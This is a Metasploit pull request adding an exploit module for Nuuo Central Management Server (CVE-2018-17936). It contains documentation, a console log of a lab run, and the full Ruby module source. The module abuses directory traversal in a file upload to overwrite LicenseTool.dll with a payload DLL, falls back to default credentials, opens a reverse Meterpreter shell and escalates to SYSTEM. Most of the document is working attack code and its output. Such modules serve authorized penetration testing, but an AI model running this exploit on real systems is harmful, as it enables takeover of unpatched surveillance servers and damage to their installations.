Land #11290, Add Nuuo CMS file upload exploit
Jacob Robles
Metasploit
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## Description
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Nuuo CMS Authenticated Arbitrary File Upload
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The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the CMS Server. An example is below:
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```
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COMMITCONFIG NUCM/1.0
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User-Session-No: <session-number>
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Filename: <filename>
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FileType: <number>
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Content-Lenght: <file-length>
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<FILE_DATA>
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```
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The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\) characters. Therefore, this function can be abused to overwrite any files in the installation drive of CMS Server.
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This vulnerability is exploitable in CMS versions up to and including v2.4.
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This module will either use a provided session number (which can be guessed with an auxiliary module) or attempt to login using a provided username and password - it will also try the default credentials if nothing is provided.
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## Vulnerable Application
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[NUUO Central Management Server (CMS): all versions below 2.5](http://d1.nuuo.com/NUUO/CMS/)
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- 1.5.2 OK
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- 2.1.0 OK
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- 2.3.2 OK
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- 2.4.0 OK
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- 2.6.0 FAIL (vuln fixed?)
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- 2.9.0 FAIL
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- 2.10.0 FAIL
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## Scenarios
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### Testing on Windows 10 Pro x64 running NCS Server 2.4.0
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```
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msf5 exploit(windows/nuuo/nuuo_cms_fu) > set rhosts 172.22.222.200
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rhosts => 172.22.222.200
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msf5 exploit(windows/nuuo/nuuo_cms_fu) > set verbose true
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verbose => true
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msf5 exploit(windows/nuuo/nuuo_cms_fu) > exploit
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[*] Started reverse TCP handler on 172.22.222.136:4444
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[*] 172.22.222.200:5180 - Backing up LicenseTool.dll to TQzixBdpOiRG
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[*] 172.22.222.200:5180 - Uploading payload...
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[*] 172.22.222.200:5180 - Sleeping 15 seconds...
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[*] 172.22.222.200:5180 - Sending SENDLICFILE request, shell incoming!
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[*] Sending stage (179779 bytes) to 172.22.222.200
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[*] Meterpreter session 3 opened (172.22.222.136:4444 -> 172.22.222.200:49674) at 2019-02-19 05:46:51 -0600
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meterpreter >
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[!] 172.22.222.200:5180 - Please wait a bit while we clean up
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[+] 172.22.222.200:5180 - Successfully restored LicenseTool.dll!
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...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
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[+] 172.22.222.200:5180 - We should have SYSTEM now, enjoy your shell!
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meterpreter > getuid
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Server username: NT AUTHORITY\SYSTEM
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meterpreter > sysinfo
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Computer : DESKTOP-IPOGIJR
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OS : Windows 10 (Build 17763).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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meterpreter >
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```
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## References
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https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
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https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::Nuuo
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def initialize(info={})
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super(update_info(info,
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'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",
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'Description' => %q{
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The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
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CMS Server.
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The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\)
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characters. Therefore, this function can be abused to overwrite any files in the installation
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drive of CMS Server.
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This vulnerability is exploitable in CMS versions up to and including v2.4.
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This module will either use a provided session number (which can be guessed with an auxiliary
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module) or attempt to login using a provided username and password - it will also try the
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default credentials if nothing is provided.
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This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
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fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
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not execute successfully.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2018-17936' ],
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[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
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[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
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[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Nuuo Central Management Server <= v2.4.0', {} ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'Oct 11 2018',
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'DefaultTarget' => 0))
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end
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def on_new_session(client)
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if client.type == 'meterpreter'
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print_warning('Please wait a bit while we clean up')
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client.sys.process.get_processes().each do |proc|
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if proc['name'] == 'NCS_Server.exe'
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client.sys.process.kill(proc['pid'])
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Rex.sleep(5)
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client.shell_command_token("move /y #{@dll} LicenseTool.dll")
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client.sys.process.execute('NCS_Server.exe')
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print_good('Successfully restored LicenseTool.dll!')
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end
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end
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# elevate privs to system (we're already Admin anyway), and we're done!
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client.run_cmd('getsystem')
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print_good('We should have SYSTEM now, enjoy your shell!')
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else
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print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')
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print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")
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print_error('... otherwise the Nuuo CMS installation will be nuked!')
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print_good('Anyway, enjoy your shell!')
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end
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end
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def exploit
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nucs_login
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unless @nucs_session
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fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
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end
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# Download and upload a backup of LicenseTool.dll, so that we can restore it at post
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# and not nuke the CMS installation.
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@dll = rand_text_alpha(12)
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print_status("Backing up LicenseTool.dll to #{@dll}")
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dll_data = nucs_download_file('LicenseTool.dll')
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nucs_upload_file(@dll, dll_data)
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print_status('Uploading payload...')
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nucs_upload_file('LicenseTool.dll', generate_payload_dll)
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print_status('Sleeping 15 seconds...')
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Rex.sleep(15)
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print_status('Sending SENDLICFILE request, shell incoming!')
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license_data = rand_text_alpha(50..350)
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nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
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'Content-Length: ' + license_data.length.to_s], license_data)
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end
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end
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